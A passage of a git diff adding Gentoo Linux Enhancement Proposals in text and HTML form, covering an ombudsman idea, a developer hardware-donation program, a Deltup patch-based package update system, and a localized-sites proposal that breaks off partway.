+=========
+
+One traditional method (circa early 1800s in Sweden, apparently [#RIT]_)
+for managing disputes is to have an impartial individual whose job it
+is to investigate complaints and mediate settlements.  A quick search 
+on Google [#GOOGLE]_ reveals numerous government agencies, universities,
+and industries that employ official ombudsmen.  The key requirement for
+an ombudsman to be effective is support from management and trust from
+users and developers -- the ombudsmen must be considered by all to be
+reasonably impartial.  
+
+Backwards Compatibility
+=======================
+
+No conflicts.
+
+
+
+References
+==========
+
+.. [#RIT] http://www.rit.edu/~022www/defhis.shtml
+
+.. [#GOOGLE] http://www.google.com
+
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0008.html b/xml/htdocs/proj/en/glep/glep-0008.html
new file mode 100644
index 00000000..3968106f
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0008.html
@@ -0,0 +1,129 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 8 -- Adopt-A-Developer</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0008.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">8</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Adopt-A-Developer</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0008.txt?cvsroot=gentoo">2006/09/04 03:06:32</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Brian Jackson &lt;iggy&#32;&#97;t&#32;gentoo.org&gt;,
+Thomas Cort &lt;tcort&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">02-Jul-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">09-Jul-2003, 4-Apr-2004, 3-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id3" name="id3">Status</a></li>
+<li><a class="reference" href="#credits" id="id4" name="id4">Credits</a></li>
+<li><a class="reference" href="#abstract" id="id5" name="id5">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id6" name="id6">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id7" name="id7">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id8" name="id8">Rationale</a></li>
+<li><a class="reference" href="#references" id="id9" name="id9">References</a></li>
+<li><a class="reference" href="#copyright" id="id10" name="id10">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status" name="status">Status</a></h1>
+<p>Reactivated by tcort, now existing at
+<a class="reference" href="http://www.gentoo.org/proj/en/userrel/adopt-a-dev/">http://www.gentoo.org/proj/en/userrel/adopt-a-dev/</a>.
+Since the community has bought into it, GLEP editor g2boojum
+has marked it as &quot;final&quot;.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="credits" name="credits">Credits</a></h1>
+<p>I borrowed this idea from a KDE developer name Scott Wheeler who runs a program
+called adopt-a-geek <a class="footnote-reference" href="#id2" id="id1" name="id1">[1]</a>.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="abstract" name="abstract">Abstract</a></h1>
+<p>I would like to start a program to bring together Gentoo developers who need
+hardware, and those that have hardware to donate. This project will
+hopefully get developers that need extra hardware in touch with
+companies/individuals with extra hardware that they wish to donate to
+help Gentoo.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="motivation" name="motivation">Motivation</a></h1>
+<p>There are some developers out there that are using very slow hardware, and some
+that have broken equipment that they could put back into use if they
+had one more part. This program will help developers get the most out of
+their exisiting hardware and fix any systems that may currently be broken.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="specification" name="specification">Specification</a></h1>
+<p>This is a pretty low risk proposal for Gentoo Linux since it only affects
+me, and whoever else wishes to help out. This project would keep very
+detailed records of everything that came in and out. We would actually not
+handle any hardware. We would just facilitate connecting hardware with
+needy developers.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="rationale" name="rationale">Rationale</a></h1>
+<p>KDE seems to have had luck with this. I think it would benefit the devs, and
+make Gentoo better as a result. It would also boost morale by letting
+developers know they are appreciated.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id2">[1]</a></td><td><a class="reference" href="http://devel-home.kde.org/~wheeler/adopt-a-geek/">http://devel-home.kde.org/~wheeler/adopt-a-geek/</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0008.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0008.txt b/xml/htdocs/proj/en/glep/glep-0008.txt
new file mode 100644
index 00000000..1e5bb2c5
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0008.txt
@@ -0,0 +1,69 @@
+GLEP: 8
+Title: Adopt-A-Developer
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2006/09/04 03:06:32 $
+Author:	Brian Jackson <iggy@gentoo.org>,
+        Thomas Cort <tcort@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 02-Jul-2003
+Post-History: 09-Jul-2003, 4-Apr-2004, 3-Sep-2006
+
+Status
+======
+
+Reactivated by tcort, now existing at
+http://www.gentoo.org/proj/en/userrel/adopt-a-dev/.
+Since the community has bought into it, GLEP editor g2boojum
+has marked it as "final".
+
+Credits
+=======
+
+I borrowed this idea from a KDE developer name Scott Wheeler who runs a program
+called adopt-a-geek [1]_.
+
+Abstract
+========
+
+I would like to start a program to bring together Gentoo developers who need 
+hardware, and those that have hardware to donate. This project will 
+hopefully get developers that need extra hardware in touch with 
+companies/individuals with extra hardware that they wish to donate to 
+help Gentoo.
+
+Motivation
+==========
+
+There are some developers out there that are using very slow hardware, and some 
+that have broken equipment that they could put back into use if they 
+had one more part. This program will help developers get the most out of 
+their exisiting hardware and fix any systems that may currently be broken.
+
+Specification
+=============
+
+This is a pretty low risk proposal for Gentoo Linux since it only affects 
+me, and whoever else wishes to help out. This project would keep very 
+detailed records of everything that came in and out. We would actually not 
+handle any hardware. We would just facilitate connecting hardware with 
+needy developers.
+
+Rationale
+=========
+
+KDE seems to have had luck with this. I think it would benefit the devs, and 
+make Gentoo better as a result. It would also boost morale by letting 
+developers know they are appreciated.
+
+References
+==========
+
+.. [1] http://devel-home.kde.org/~wheeler/adopt-a-geek/
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0009.html b/xml/htdocs/proj/en/glep/glep-0009.html
new file mode 100644
index 00000000..f3356963
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0009.html
@@ -0,0 +1,176 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 9 -- Gentoo Package Update System</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0009.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">9</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Gentoo Package Update System</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.3</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0009.txt?cvsroot=gentoo">2004/01/13 20:47:35</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">John J. Whitney &lt;jjw&#32;&#97;t&#32;linuxmail.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">19-Jul-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">25-Jul-2003</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id3" name="id3">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#server-implementation" id="id5" name="id5">Server Implementation</a></li>
+<li><a class="reference" href="#client-implementation" id="id6" name="id6">Client Implementation</a></li>
+<li><a class="reference" href="#rationale" id="id7" name="id7">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id8" name="id8">Backwards Compatibility</a></li>
+<li><a class="reference" href="#conclusion" id="id9" name="id9">Conclusion</a></li>
+<li><a class="reference" href="#references" id="id10" name="id10">References</a></li>
+<li><a class="reference" href="#copyright" id="id11" name="id11">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="abstract" name="abstract">Abstract</a></h1>
+<p>This document proposes an official package updating system for Gentoo Linux.
+The Deltup project has been developed for this purpose. <a class="footnote-reference" href="#deltup" id="id1" name="id1">[1]</a></p>
+<p>As packages grow larger the amount of redundant data keeps increasing.  Updating
+existing tarballs by patching is the natural way to handle source updates.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>This system will reduce mirror loads (potentially mirror size as well) and
+significantly speed up downloads, making Gentoo much more attractive for users
+with low-bandwidth connections.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="server-implementation" name="server-implementation">Server Implementation</a></h1>
+<p>I propose that the patches be put onto the Gentoo Mirrors and stored in a new
+directory called &quot;patchfiles&quot; which could be placed beside &quot;distfiles&quot;.</p>
+<p>It would be advantageous to have a list of available patches within the portage
+tree so that it can be updated during &quot;emerge sync&quot;.  A file named &quot;dtu.list&quot;
+can be created and placed in $PORTDIR/profiles.</p>
+<p>If a machine can be set up to generate patches it should contain a local mirror
+of distfiles which it can monitor for added packages.  When a package is added
+to distfiles the machine can try to determine the previous tarball so a patch
+can be made and placed in the patchfiles dir.  In addition, special-case patches
+can be added manually.</p>
+<p>The dtu.list file will be maintained by a special script.  Whenever patches
+are added or removed to the patchfiles dir, the script will make necessary
+additions/removals in dtu.list.  This will be done with minimal changes in the
+file so it can be synchronized efficiently.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="client-implementation" name="client-implementation">Client Implementation</a></h1>
+<p>The system will be optional for users and can be enabled by making portage
+invoke efetch through the FETCHCOMMAND environment variable <a class="footnote-reference" href="#tinyhowto" id="id2" name="id2">[3]</a>.</p>
+<p>When a package fetch is requested, the efetch/fetchcommand scripts (part of
+Deltup) will scan the dtu.list file for updates and try downloading and applying
+them if they exist, or fall back to a full package download if they don't or if
+the patching process fails.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="rationale" name="rationale">Rationale</a></h1>
+<p>The most controversial feature has been the addition of dtu.list to the portage
+tree, so in this section I will list the reasons I support it.</p>
+<ul class="simple">
+<li>Flexibility.  Without it, there must be a standard naming scheme which we
+would be stuck with once the system is in place.  Changing the system would
+require serious compatibility breaks.  With the dtu.list file we can change
+the naming scheme easily without problems, or even have several different
+naming schemes.</li>
+<li>Features.  Without patch information detecting different upgrade paths would
+be impossible.  Split package patching would also be impossible.  If the info
+is available we can use it to find the quickest upgrade path, like jumping
+from a .0 release, or even disable certain patches if there are problems with
+them.</li>
+<li>It would be impossible to know which packages to upgrade from in some cases,
+including renamed packages.</li>
+<li>Knowing which patches are available will eliminate the overhead of attempting
+to download patches which don't exist.</li>
+</ul>
+<p>The dtu.list file will contain several hundred kilobytes of data.  That has
+caused some concern over how efficiently it can be rsynced.  To address these
+concerns the file's format will be plaintext and care has been taken to
+minimize the number of changes as removals/additions are made.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>There are no backwards compatibility issues since Deltup can generate correct
+package MD5sums.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="conclusion" name="conclusion">Conclusion</a></h1>
+<p>I suggest we start with a scaled-down implementation and provide more as the
+demand increases.  All of the necesary code is already written and working in
+non-official tests.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="deltup" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="deltup">[1]</a></td><td><a class="reference" href="http://sourceforge.net/projects/deltup">http://sourceforge.net/projects/deltup</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="patches" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="patches">[2]</a></td><td><a class="reference" href="ftp://sunsite.dk/projects/deltup/patchfiles">ftp://sunsite.dk/projects/deltup/patchfiles</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="tinyhowto" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="tinyhowto">[3]</a></td><td>Tiny Deltup HOWTO
+(<a class="reference" href="http://www.thedoh.com/linux/HOWTO/deltup">http://www.thedoh.com/linux/HOWTO/deltup</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0009.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0009.txt b/xml/htdocs/proj/en/glep/glep-0009.txt
new file mode 100644
index 00000000..4ef4a2ff
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0009.txt
@@ -0,0 +1,114 @@
+GLEP: 9
+Title: Gentoo Package Update System
+Version: $Revision: 1.3 $
+Last-Modified: $Date: 2004/01/13 20:47:35 $
+Author:	John J. Whitney <jjw@linuxmail.org>
+Status: deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 19-Jul-2003
+Post-History: 25-Jul-2003
+
+
+Abstract
+========
+
+This document proposes an official package updating system for Gentoo Linux.
+The Deltup project has been developed for this purpose. [#DELTUP]_
+
+As packages grow larger the amount of redundant data keeps increasing.  Updating
+existing tarballs by patching is the natural way to handle source updates.
+
+Motivation
+==========
+
+This system will reduce mirror loads (potentially mirror size as well) and
+significantly speed up downloads, making Gentoo much more attractive for users 
+with low-bandwidth connections.
+
+Server Implementation
+=====================
+
+I propose that the patches be put onto the Gentoo Mirrors and stored in a new 
+directory called "patchfiles" which could be placed beside "distfiles".
+
+It would be advantageous to have a list of available patches within the portage
+tree so that it can be updated during "emerge sync".  A file named "dtu.list" 
+can be created and placed in $PORTDIR/profiles.
+
+If a machine can be set up to generate patches it should contain a local mirror
+of distfiles which it can monitor for added packages.  When a package is added
+to distfiles the machine can try to determine the previous tarball so a patch
+can be made and placed in the patchfiles dir.  In addition, special-case patches
+can be added manually.
+
+The dtu.list file will be maintained by a special script.  Whenever patches 
+are added or removed to the patchfiles dir, the script will make necessary 
+additions/removals in dtu.list.  This will be done with minimal changes in the
+file so it can be synchronized efficiently.
+
+Client Implementation
+=====================
+
+The system will be optional for users and can be enabled by making portage
+invoke efetch through the FETCHCOMMAND environment variable [#TINYHOWTO]_.
+
+When a package fetch is requested, the efetch/fetchcommand scripts (part of 
+Deltup) will scan the dtu.list file for updates and try downloading and applying
+them if they exist, or fall back to a full package download if they don't or if
+the patching process fails.
+
+Rationale
+=========
+The most controversial feature has been the addition of dtu.list to the portage
+tree, so in this section I will list the reasons I support it.
+
+- Flexibility.  Without it, there must be a standard naming scheme which we
+  would be stuck with once the system is in place.  Changing the system would 
+  require serious compatibility breaks.  With the dtu.list file we can change
+  the naming scheme easily without problems, or even have several different
+  naming schemes.
+
+- Features.  Without patch information detecting different upgrade paths would 
+  be impossible.  Split package patching would also be impossible.  If the info
+  is available we can use it to find the quickest upgrade path, like jumping 
+  from a .0 release, or even disable certain patches if there are problems with 
+  them.
+
+- It would be impossible to know which packages to upgrade from in some cases,
+  including renamed packages.
+
+- Knowing which patches are available will eliminate the overhead of attempting
+  to download patches which don't exist.
+
+The dtu.list file will contain several hundred kilobytes of data.  That has
+caused some concern over how efficiently it can be rsynced.  To address these
+concerns the file's format will be plaintext and care has been taken to
+minimize the number of changes as removals/additions are made.
+
+Backwards Compatibility
+=======================
+
+There are no backwards compatibility issues since Deltup can generate correct 
+package MD5sums.
+
+
+Conclusion
+==========
+
+I suggest we start with a scaled-down implementation and provide more as the
+demand increases.  All of the necesary code is already written and working in
+non-official tests.
+
+References
+==========
+
+.. [#DELTUP] http://sourceforge.net/projects/deltup
+.. [#PATCHES] ftp://sunsite.dk/projects/deltup/patchfiles
+.. [#TINYHOWTO] Tiny Deltup HOWTO
+   (http://www.thedoh.com/linux/HOWTO/deltup)
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0010.html b/xml/htdocs/proj/en/glep/glep-0010.html
new file mode 100644
index 00000000..da15aeb4
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0010.html
@@ -0,0 +1,211 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 10 -- Localized Gentoo Sites</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0010.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">10</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Localized Gentoo Sites</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0010.txt?cvsroot=gentoo">2004/08/22 13:57:11</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Tobias Scherbaum &lt;dertobi123&#32;&#97;t&#32;gentoo.org&gt;, Sven Vermeulen &lt;swift&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">4-Aug-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">4-Aug-2003, 22-Aug-2003, 14-Mar-2004, 2-May-2004, 22-Aug-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id4" name="id4">Status</a></li>
+<li><a class="reference" href="#abstract" id="id5" name="id5">Abstract:</a></li>
+<li><a class="reference" href="#motivation" id="id6" name="id6">Motivation:</a></li>
+<li><a class="reference" href="#rationale" id="id7" name="id7">Rationale:</a></li>
+<li><a class="reference" href="#implementation" id="id8" name="id8">Implementation:</a><ul>
+<li><a class="reference" href="#website-pages" id="id9" name="id9">Website Pages:</a><ul>
+<li><a class="reference" href="#requirements-for-small-localized-sites" id="id10" name="id10">Requirements for &quot;small&quot; localized sites:</a></li>
+<li><a class="reference" href="#requirements-for-big-localized-sites" id="id11" name="id11">Requirements for &quot;big&quot; localized sites:</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#cvs-structure" id="id12" name="id12">CVS Structure:</a></li>
+<li><a class="reference" href="#mail" id="id13" name="id13">Mail:</a></li>
+<li><a class="reference" href="#xsl" id="id14" name="id14">XSL:</a></li>
+</ul>
+</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="status" name="status">Status</a></h1>
+<p>Due to insufficient resources, the doc team is unable to implement
+this GLEP at this time.  It has therefore been marked &quot;deferred&quot;.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="abstract" name="abstract">Abstract:</a></h1>
+<p>The Gentoo Website <a class="footnote-reference" href="#gentoo" id="id1" name="id1">[1]</a> is the main source of documentation regarding
+Gentoo itself. It hosts all documents that the Gentoo Documentation Project
+<a class="footnote-reference" href="#gdp" id="id2" name="id2">[2]</a> delivers, including all made translations. In addition the website
+contains the GWN and its translations and several news items.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="motivation" name="motivation">Motivation:</a></h1>
+<p>Lots of people have shown interest in the localization proposal, and
+even the infrastructure team has given positive feedback. However, due
+to lack of a good roadmap and proposal this suggestion has never grown
+beyond what it is now: a suggestion. Between the first draft of this
+proposal and now some communities grown faster than others. Actually it
+is obvious that we have big communities (lots of users, lots of
+translators) and smaller communities (less users, less translators). If
+we speak about localized Gentoo sites we need to find a capable
+solution for small and even bigger communities. This leads us to a
+point where the lead translator can decide between a small localized
+site including necessarily translated documents and only some
+additional pages and a bigger variant with lots of translated gdp
+documents, translated news and gwn plus additional pages.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="rationale" name="rationale">Rationale:</a></h1>
+<p>The current layout regarding documentation in the CVS is as follows:</p>
+<blockquote>
+[gentoo]/xml/htdocs/doc/en/*
+[gentoo]/xml/htdocs/doc/nl/*
+[gentoo]/xml/htdocs/doc/fr/*</blockquote>
+<p>However, there are several other documents (about, policy, etc) in
+main/$lang:</p>
+<blockquote>
+[gentoo]/xml/htdocs/main/en/*
+[gentoo]/xml/htdocs/main/nl/*
+[gentoo]/xml/htdocs/main/fr/*</blockquote>
+<p>This structure makes it very difficult for assigning permissions to the
+individual translation teams, and even more difficult to really localize
+the Gentoo Website. At this very moment, the translation teams can edit
+documents of other languages or even the master English documents. English
+reviewers and editors can touch documents of languages they possibly don't
+even know. Although we do trust every single documentation editor, a better
+implementation is advisable. We also can't give access to well-known
+but non-dev translators.</p>
+<p>We want to restructure the current layout so that the Gentoo Website is
+more easily internationalized.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="implementation" name="implementation">Implementation:</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id9" id="website-pages" name="website-pages">Website Pages:</a></h2>
+<p>The Lead Translator can choose if he wants to maintain a &quot;small&quot; or a
+&quot;big&quot; localized site. All localized sites will be accessible on
+<a class="reference" href="http://$lang.gentoo.org">http://$lang.gentoo.org</a> which will point to [gentoo]xml/htdocs/$lang.
+All localized sites must be implemented in GuideXML.</p>
+<div class="section">
+<h3><a class="toc-backref" href="#id10" id="requirements-for-small-localized-sites" name="requirements-for-small-localized-sites">Requirements for &quot;small&quot; localized sites:</a></h3>
+<blockquote>
+<ul class="simple">
+<li>all documents marked as required in our Translators Howto</li>
+<li>$lang/main/translators.xml, listing of all translators (including
+GWN translators)</li>
+<li>$lang/main/communities.xml, listing of all community sites available in $lang</li>
+<li>index.xml &quot;welcome page&quot;, listing of available ressources on
+$lang.gentoo.org (i.e. links to documentation, translators.xml and
+communities.xml)</li>
+</ul>
+</blockquote>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id11" id="requirements-for-big-localized-sites" name="requirements-for-big-localized-sites">Requirements for &quot;big&quot; localized sites:</a></h3>
+<blockquote>
+<ul class="simple">
+<li>all documents marked as required in our Translators Howto</li>
+<li>$lang/main/translators.xml, listing of all translators (including
+GWN translators)</li>
+<li>$lang/main/communities.xml, listing of all community sites available in $lang</li>
+<li>translated $lang/main documents</li>
+<li>translated $lang/news/gwn</li>
+<li>translated news items ($lang/news) (only translated news items,
+news items on a per-lang basis aren't allowed)</li>
+</ul>
+</blockquote>
+</div>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id12" id="cvs-structure" name="cvs-structure">CVS Structure:</a></h2>
+<p>Actual scheme, everything is relative to [gentoo]/xml/htdocs:</p>
+<pre class="literal-block">
+main/en         Contains the main Gentoo Website (about, policy, lists, etc.)
+main/$lang      Contains some translated Website pages
+doc/en          Contains the master English Documentation
+doc/$lang       Contains the translated Documentation
+news            Contains English news items
+news/en/gwn     Contains the master English GWNs
+news/$lang/gwn  Contains translated GWNs
+proj/en         Contains the project Webpages
+</pre>
+<p>Proposed scheme, relative to [gentoo]/xml/htdocs:</p>
+<pre class="literal-block">
+$lang/main      Contains some translated Website pages
+$lang/doc       Contains the translated Documentation
+$lang/news      Contains translated news items
+$lang/news/gwn  Contains translated GWNs
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id13" id="mail" name="mail">Mail:</a></h2>
